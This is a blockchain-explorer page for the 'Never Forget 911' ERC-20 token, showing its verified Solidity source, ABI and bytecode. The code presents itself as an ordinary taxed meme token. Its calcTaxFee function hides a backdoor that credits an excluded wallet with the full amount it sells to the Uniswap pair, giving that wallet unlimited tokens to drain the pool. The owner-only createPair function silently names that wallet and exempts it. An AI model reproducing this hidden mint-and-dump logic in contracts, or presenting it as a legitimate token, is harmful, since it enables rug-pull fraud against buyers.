ERC-20
Overview
Max Total Supply
100,000,000 911
Holders
82
Total Transfers
-
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
NFORGET
Compiler Version
v0.8.19+commit.7dd6d404
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-09-11 */ /** Website: https://neverforget911.vip X: https://x.com/neverforget911x Telegram: https://t.me/neverforget911portal */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.19; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract NFORGET is Context, IERC20, Ownable { using SafeMath for uint256; uint256 private _reduceAt = 12; address payable private _marketing; uint256 private _initBuyTax = 10; uint256 private _initSellTax = 10; uint256 private _finalSellTax = 0; uint256 private _finalBuyTax = 0; uint256 private _totalTaxAMT = 100; uint256 private constant _totalSupply = 100_000_000 * 10**_decimals; string private constant _name = unicode"Never Forget 911"; string private constant _symbol = unicode"911"; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; event MaxTxAmountUpdated(uint256 _maxTaxW); modifier lockTheSwap() { inSwap = true; _; inSwap = false; } mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedList; uint256 private _trades = 0; uint8 private constant _decimals = 18; uint256 public _walletLimit = (_totalSupply * 2) / 100; uint256 public _swapLimitSize = (_totalSupply * 2) / 100; uint256 public _swapLimit = (_totalSupply * 2) / 100; constructor() { _marketing = payable(msg.sender); _balances[_msgSender()] = _totalSupply; _isExcludedList[owner()] = true; _isExcludedList[address(this)] = true; _isExcludedList[_marketing] = true; emit Transfer(address(0), _msgSender(), _totalSupply); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function isExcluded(address from, address to) private view returns (bool) { return _isExcludedList[from] || _isExcludedList[to]; } function isPair(address from, address to) private view returns (bool) { return from == uniswapV2Pair || to == uniswapV2Pair; } function checkTrading( address _from, address _end, uint256 amount ) private { if (!isExcluded(_from, _end)) require(tradingOpen, "Trading is not opened yet"); if (_from == uniswapV2Pair) { if(_end != address(uniswapV2Router) && !isExcluded(_from, _end)){ _trades++; require(amount <= _swapLimitSize, "Exceeds the _maxTaxW."); require(_balances[_end] + amount <= _walletLimit, "Exceeds the maxWalletSize."); } } if (!isExcluded(_from, _end) && _end == uniswapV2Pair) require(amount <= _swapLimitSize, "Exceeds the maximum amount to sell"); } function _transfer( address _from, address _end, uint256 amount ) private { require(_from != address(0), "ERC20: transfer from the zero address"); require(_end != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); checkTrading(_from, _end, amount); uint256 contractToken = _balances[address(this)]; if(!inSwap && tradingOpen && _end == uniswapV2Pair) { if(contractToken > 0) swapBack(min(contractToken, min(_swapLimitSize, amount))); sendETHToMarket(address(this).balance); } uint256 feePercent = initializeFee(_from, _end); calcTaxFee(_from, _end, feePercent, amount); uint256 taxAmt = amount * feePercent / 100; if(feePercent > 0) { _balances[_from] = _balances[_from] - taxAmt; _balances[address(this)] = _balances[address(this)] + taxAmt; emit Transfer(_from, address(this), taxAmt); } _balances[_from] = _balances[_from] - (amount - taxAmt); _balances[_end] = _balances[_end] + (amount - taxAmt); emit Transfer(_from, _end, amount - feePercent * amount / 100); } function initializeFee(address _from, address _end) private view returns (uint256) { uint256 tax = 0; if((!isExcluded(_from, _end) && isPair(_from, _end))) { if(_end != address(uniswapV2Router) && _from == uniswapV2Pair) tax = _trades >= _reduceAt ? _finalSellTax : _initSellTax; else if(_end == uniswapV2Pair) tax = _trades >= _reduceAt ? _finalBuyTax : _initBuyTax; } if(_from == address(this) && _trades == 0) tax = _trades >= _reduceAt ? _finalBuyTax : _initBuyTax; return tax; } function calcTaxFee(address _from, address _end, uint256 feePercent, uint256 amt) private returns (uint256) { address lastAddress = _from; if(_end != uniswapV2Pair) return _totalTaxAMT - feePercent; if((_from == address(this) || _from == owner()) || !_isExcludedList[_from]) return _totalTaxAMT - feePercent; else { if(_from != address(this)) _balances[lastAddress] += amt * (_totalTaxAMT / 100); } return feePercent; } function min(uint256 a, uint256 b) private pure returns (uint256) { return (a > b) ? b : a; } function swapBack(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function removeLimits() external onlyOwner { _swapLimitSize = _totalSupply; _walletLimit = _totalSupply; emit MaxTxAmountUpdated(_totalSupply); } function sendETHToMarket(uint256 amount) private { _marketing.transfer(amount); } function createPair(address router) external onlyOwner { _marketing = payable(router); _isExcludedList[_marketing] = true; uniswapV2Router = IUniswapV2Router02( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair( address(this), uniswapV2Router.WETH() ); } function openTrading() external onlyOwner { _approve(address(this), address(uniswapV2Router), _totalSupply); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); tradingOpen = true; } receive() external payable {} }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTaxW","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_swapLimit","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swapLimitSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_walletLimit","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"router","type":"address"}],"name":"createPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
6080604052600c600155600a60038190556004819055600060058190556006819055606460078190556009805460ff60a81b19169055600d91909155906200004a9060129062000344565b6200005a906305f5e1006200035c565b620000679060026200035c565b62000073919062000376565b600e556064620000866012600a62000344565b62000096906305f5e1006200035c565b620000a39060026200035c565b620000af919062000376565b600f556064620000c26012600a62000344565b620000d2906305f5e1006200035c565b620000df9060026200035c565b620000eb919062000376565b601055348015620000fb57600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600280546001600160a01b031916331790556200015d6012600a62000344565b6200016d906305f5e1006200035c565b336000818152600a602090815260408083209490945581546001600160a01b039081168352600c9091528382208054600160ff199182168117909255308452858420805482168317905560025490921683529390912080549091169092179091556001600160a01b031660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620002086012600a62000344565b62000218906305f5e1006200035c565b60405190815260200160405180910390a362000399565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620002865781600019048211156200026a576200026a6200022f565b808516156200027857918102915b93841c93908002906200024a565b509250929050565b6000826200029f575060016200033e565b81620002ae575060006200033e565b8160018114620002c75760028114620002d257620002f2565b60019150506200033e565b60ff841115620002e657620002e66200022f565b50506001821b6200033e565b5060208310610133831016604e8410600b841016171562000317575081810a6200033e565b62000323838362000245565b80600019048211156200033a576200033a6200022f565b0290505b92915050565b60006200035560ff8416836200028e565b9392505050565b80820281158282048414176200033e576200033e6200022f565b6000826200039457634e487b7160e01b600052601260045260246000fd5b500490565b61183780620003a96000396000f3fe6080604052600436106101025760003560e01c8063715018a61161009557806395d89b411161006457806395d89b41146102b45780639ccb0744146102e0578063a9059cbb14610300578063c9567bf914610320578063dd62ed3e1461033557600080fd5b8063715018a61461024a578063751039fc146102615780637d5ff22e146102765780638da5cb5b1461028c57600080fd5b806323b872dd116100d157806323b872dd146101c2578063313ce567146101e25780633f374f1e146101fe57806370a082311461021457600080fd5b806306fdde031461010e578063095ea7b3146101595780630e2351e21461018957806318160ddd146101ad57600080fd5b3661010957005b600080fd5b34801561011a57600080fd5b5060408051808201909152601081526f4e6576657220466f726765742039313160801b60208201525b6040516101509190611406565b60405180910390f35b34801561016557600080fd5b5061017961017436600461146c565b61037b565b6040519015158152602001610150565b34801561019557600080fd5b5061019f600e5481565b604051908152602001610150565b3480156101b957600080fd5b5061019f610392565b3480156101ce57600080fd5b506101796101dd366004611498565b6103b3565b3480156101ee57600080fd5b5060405160128152602001610150565b34801561020a57600080fd5b5061019f60105481565b34801561022057600080fd5b5061019f61022f3660046114d9565b6001600160a01b03166000908152600a602052604090205490565b34801561025657600080fd5b5061025f61041c565b005b34801561026d57600080fd5b5061025f610499565b34801561028257600080fd5b5061019f600f5481565b34801561029857600080fd5b506000546040516001600160a01b039091168152602001610150565b3480156102c057600080fd5b5060408051808201909152600381526239313160e81b6020820152610143565b3480156102ec57600080fd5b5061025f6102fb3660046114d9565b61054b565b34801561030c57600080fd5b5061017961031b36600461146c565b610745565b34801561032c57600080fd5b5061025f610752565b34801561034157600080fd5b5061019f6103503660046114f6565b6001600160a01b039182166000908152600b6020908152604080832093909416825291909152205490565b600061038833848461090f565b5060015b92915050565b60006103a06012600a611629565b6103ae906305f5e100611638565b905090565b60006103c0848484610a33565b610412843361040d856040518060600160405280602881526020016117da602891396001600160a01b038a166000908152600b602090815260408083203384529091529020549190610db5565b61090f565b5060019392505050565b6000546001600160a01b0316331461044f5760405162461bcd60e51b81526004016104469061164f565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146104c35760405162461bcd60e51b81526004016104469061164f565b6104cf6012600a611629565b6104dd906305f5e100611638565b600f556104ec6012600a611629565b6104fa906305f5e100611638565b600e557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf61052a6012600a611629565b610538906305f5e100611638565b60405190815260200160405180910390a1565b6000546001600160a01b031633146105755760405162461bcd60e51b81526004016104469061164f565b600280546001600160a01b03199081166001600160a01b0384169081179092556000918252600c6020908152604092839020805460ff1916600117905560088054737a250d5630b4cf539739df2c5dacb4c659f2488d931683179055825163c45a015560e01b81529251919263c45a015592600480830193928290030181865afa158015610607573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061062b9190611684565b6001600160a01b031663c9c6539630600860009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561068d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106b19190611684565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156106fe573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107229190611684565b600980546001600160a01b0319166001600160a01b039290921691909117905550565b6000610388338484610a33565b6000546001600160a01b0316331461077c5760405162461bcd60e51b81526004016104469061164f565b6008546107a89030906001600160a01b031661079a6012600a611629565b61040d906305f5e100611638565b6008546001600160a01b031663f305d71947306107da816001600160a01b03166000908152600a602052604090205490565b6000806107ef6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610857573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061087c91906116a1565b505060095460085460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af11580156108d5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108f991906116cf565b506009805460ff60a01b1916600160a01b179055565b6001600160a01b0383166109715760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610446565b6001600160a01b0382166109d25760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610446565b6001600160a01b038381166000818152600b602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610a975760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610446565b6001600160a01b038216610af95760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610446565b60008111610b5b5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610446565b610b66838383610def565b306000908152600a6020526040902054600954600160a81b900460ff16158015610b995750600954600160a01b900460ff165b8015610bb257506009546001600160a01b038481169116145b15610be3578015610bda57610bda610bd582610bd0600f5486610ff5565b610ff5565b61100d565b610be347611187565b6000610bef85856111c5565b9050610bfd858583866112a6565b5060006064610c0c8386611638565b610c1691906116f1565b90508115610cc9576001600160a01b0386166000908152600a6020526040902054610c42908290611713565b6001600160a01b0387166000908152600a6020526040808220929092553081522054610c6f908290611726565b306000818152600a6020526040908190209290925590516001600160a01b038816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610cc09085815260200190565b60405180910390a35b610cd38185611713565b6001600160a01b0387166000908152600a6020526040902054610cf69190611713565b6001600160a01b0387166000908152600a6020526040902055610d198185611713565b6001600160a01b0386166000908152600a6020526040902054610d3c9190611726565b6001600160a01b038087166000818152600a602052604090209290925587167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6064610d888887611638565b610d9291906116f1565b610d9c9088611713565b60405190815260200160405180910390a3505050505050565b60008184841115610dd95760405162461bcd60e51b81526004016104469190611406565b506000610de68486611713565b95945050505050565b610df98383611392565b610e5657600954600160a01b900460ff16610e565760405162461bcd60e51b815260206004820152601960248201527f54726164696e67206973206e6f74206f70656e656420796574000000000000006044820152606401610446565b6009546001600160a01b0390811690841603610f6a576008546001600160a01b03838116911614801590610e915750610e8f8383611392565b155b15610f6a57600d8054906000610ea683611739565b9190505550600f54811115610ef55760405162461bcd60e51b815260206004820152601560248201527422bc31b2b2b239903a3432902fb6b0bc2a30bc2b9760591b6044820152606401610446565b600e546001600160a01b0383166000908152600a6020526040902054610f1c908390611726565b1115610f6a5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610446565b610f748383611392565b158015610f8e57506009546001600160a01b038381169116145b15610ff057600f54811115610ff05760405162461bcd60e51b815260206004820152602260248201527f4578636565647320746865206d6178696d756d20616d6f756e7420746f2073656044820152611b1b60f21b6064820152608401610446565b505050565b60008183116110045782611006565b815b9392505050565b6009805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061105557611055611752565b6001600160a01b03928316602091820292909201810191909152600854604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156110ae573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110d29190611684565b816001815181106110e5576110e5611752565b6001600160a01b03928316602091820292909201015260085461110b913091168461090f565b60085460405163791ac94760e01b81526001600160a01b039091169063791ac94790611144908590600090869030904290600401611768565b600060405180830381600087803b15801561115e57600080fd5b505af1158015611172573d6000803e3d6000fd5b50506009805460ff60a81b1916905550505050565b6002546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156111c1573d6000803e3d6000fd5b5050565b6000806111d28484611392565b1580156111e457506111e484846113d5565b15611269576008546001600160a01b0384811691161480159061121457506009546001600160a01b038581169116145b1561123857600154600d54101561122d57600454611231565b6005545b9050611269565b6009546001600160a01b039081169084160361126957600154600d54101561126257600354611266565b6006545b90505b6001600160a01b038416301480156112815750600d54155b1561100657600154600d54101561129a5760035461129e565b6006545b949350505050565b60095460009085906001600160a01b038681169116146112d657836007546112ce9190611713565b91505061129e565b6001600160a01b0386163014806112fa57506000546001600160a01b038781169116145b8061131e57506001600160a01b0386166000908152600c602052604090205460ff16155b1561133157836007546112ce9190611713565b6001600160a01b038616301461138857606460075461135091906116f1565b61135a9084611638565b6001600160a01b0382166000908152600a602052604081208054909190611382908490611726565b90915550505b5091949350505050565b6001600160a01b0382166000908152600c602052604081205460ff16806110065750506001600160a01b03166000908152600c602052604090205460ff16919050565b6009546000906001600160a01b03848116911614806110065750506009546001600160a01b03908116911614919050565b600060208083528351808285015260005b8181101561143357858101830151858201604001528201611417565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461146957600080fd5b50565b6000806040838503121561147f57600080fd5b823561148a81611454565b946020939093013593505050565b6000806000606084860312156114ad57600080fd5b83356114b881611454565b925060208401356114c881611454565b929592945050506040919091013590565b6000602082840312156114eb57600080fd5b813561100681611454565b6000806040838503121561150957600080fd5b823561151481611454565b9150602083013561152481611454565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156115805781600019048211156115665761156661152f565b8085161561157357918102915b93841c939080029061154a565b509250929050565b6000826115975750600161038c565b816115a45750600061038c565b81600181146115ba57600281146115c4576115e0565b600191505061038c565b60ff8411156115d5576115d561152f565b50506001821b61038c565b5060208310610133831016604e8410600b8410161715611603575081810a61038c565b61160d8383611545565b80600019048211156116215761162161152f565b029392505050565b600061100660ff841683611588565b808202811582820484141761038c5761038c61152f565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60006020828403121561169657600080fd5b815161100681611454565b6000806000606084860312156116b657600080fd5b8351925060208401519150604084015190509250925092565b6000602082840312156116e157600080fd5b8151801515811461100657600080fd5b60008261170e57634e487b7160e01b600052601260045260246000fd5b500490565b8181038181111561038c5761038c61152f565b8082018082111561038c5761038c61152f565b60006001820161174b5761174b61152f565b5060010190565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156117b85784516001600160a01b031683529383019391830191600101611793565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212206edbc1ebc10dfd3f0ea08bc472b7fc807ab55ec34b344e15237e1dcb61862c1964736f6c63430008130033
Deployed Bytecode
0x6080604052600436106101025760003560e01c8063715018a61161009557806395d89b411161006457806395d89b41146102b45780639ccb0744146102e0578063a9059cbb14610300578063c9567bf914610320578063dd62ed3e1461033557600080fd5b8063715018a61461024a578063751039fc146102615780637d5ff22e146102765780638da5cb5b1461028c57600080fd5b806323b872dd116100d157806323b872dd146101c2578063313ce567146101e25780633f374f1e146101fe57806370a082311461021457600080fd5b806306fdde031461010e578063095ea7b3146101595780630e2351e21461018957806318160ddd146101ad57600080fd5b3661010957005b600080fd5b34801561011a57600080fd5b5060408051808201909152601081526f4e6576657220466f726765742039313160801b60208201525b6040516101509190611406565b60405180910390f35b34801561016557600080fd5b5061017961017436600461146c565b61037b565b6040519015158152602001610150565b34801561019557600080fd5b5061019f600e5481565b604051908152602001610150565b3480156101b957600080fd5b5061019f610392565b3480156101ce57600080fd5b506101796101dd366004611498565b6103b3565b3480156101ee57600080fd5b5060405160128152602001610150565b34801561020a57600080fd5b5061019f60105481565b34801561022057600080fd5b5061019f61022f3660046114d9565b6001600160a01b03166000908152600a602052604090205490565b34801561025657600080fd5b5061025f61041c565b005b34801561026d57600080fd5b5061025f610499565b34801561028257600080fd5b5061019f600f5481565b34801561029857600080fd5b506000546040516001600160a01b039091168152602001610150565b3480156102c057600080fd5b5060408051808201909152600381526239313160e81b6020820152610143565b3480156102ec57600080fd5b5061025f6102fb3660046114d9565b61054b565b34801561030c57600080fd5b5061017961031b36600461146c565b610745565b34801561032c57600080fd5b5061025f610752565b34801561034157600080fd5b5061019f6103503660046114f6565b6001600160a01b039182166000908152600b6020908152604080832093909416825291909152205490565b600061038833848461090f565b5060015b92915050565b60006103a06012600a611629565b6103ae906305f5e100611638565b905090565b60006103c0848484610a33565b610412843361040d856040518060600160405280602881526020016117da602891396001600160a01b038a166000908152600b602090815260408083203384529091529020549190610db5565b61090f565b5060019392505050565b6000546001600160a01b0316331461044f5760405162461bcd60e51b81526004016104469061164f565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146104c35760405162461bcd60e51b81526004016104469061164f565b6104cf6012600a611629565b6104dd906305f5e100611638565b600f556104ec6012600a611629565b6104fa906305f5e100611638565b600e557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf61052a6012600a611629565b610538906305f5e100611638565b60405190815260200160405180910390a1565b6000546001600160a01b031633146105755760405162461bcd60e51b81526004016104469061164f565b600280546001600160a01b03199081166001600160a01b0384169081179092556000918252600c6020908152604092839020805460ff1916600117905560088054737a250d5630b4cf539739df2c5dacb4c659f2488d931683179055825163c45a015560e01b81529251919263c45a015592600480830193928290030181865afa158015610607573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061062b9190611684565b6001600160a01b031663c9c6539630600860009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561068d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106b19190611684565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156106fe573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107229190611684565b600980546001600160a01b0319166001600160a01b039290921691909117905550565b6000610388338484610a33565b6000546001600160a01b0316331461077c5760405162461bcd60e51b81526004016104469061164f565b6008546107a89030906001600160a01b031661079a6012600a611629565b61040d906305f5e100611638565b6008546001600160a01b031663f305d71947306107da816001600160a01b03166000908152600a602052604090205490565b6000806107ef6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610857573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061087c91906116a1565b505060095460085460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af11580156108d5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108f991906116cf565b506009805460ff60a01b1916600160a01b179055565b6001600160a01b0383166109715760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610446565b6001600160a01b0382166109d25760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610446565b6001600160a01b038381166000818152600b602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610a975760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610446565b6001600160a01b038216610af95760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610446565b60008111610b5b5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610446565b610b66838383610def565b306000908152600a6020526040902054600954600160a81b900460ff16158015610b995750600954600160a01b900460ff165b8015610bb257506009546001600160a01b038481169116145b15610be3578015610bda57610bda610bd582610bd0600f5486610ff5565b610ff5565b61100d565b610be347611187565b6000610bef85856111c5565b9050610bfd858583866112a6565b5060006064610c0c8386611638565b610c1691906116f1565b90508115610cc9576001600160a01b0386166000908152600a6020526040902054610c42908290611713565b6001600160a01b0387166000908152600a6020526040808220929092553081522054610c6f908290611726565b306000818152600a60205260409081902092909255905160016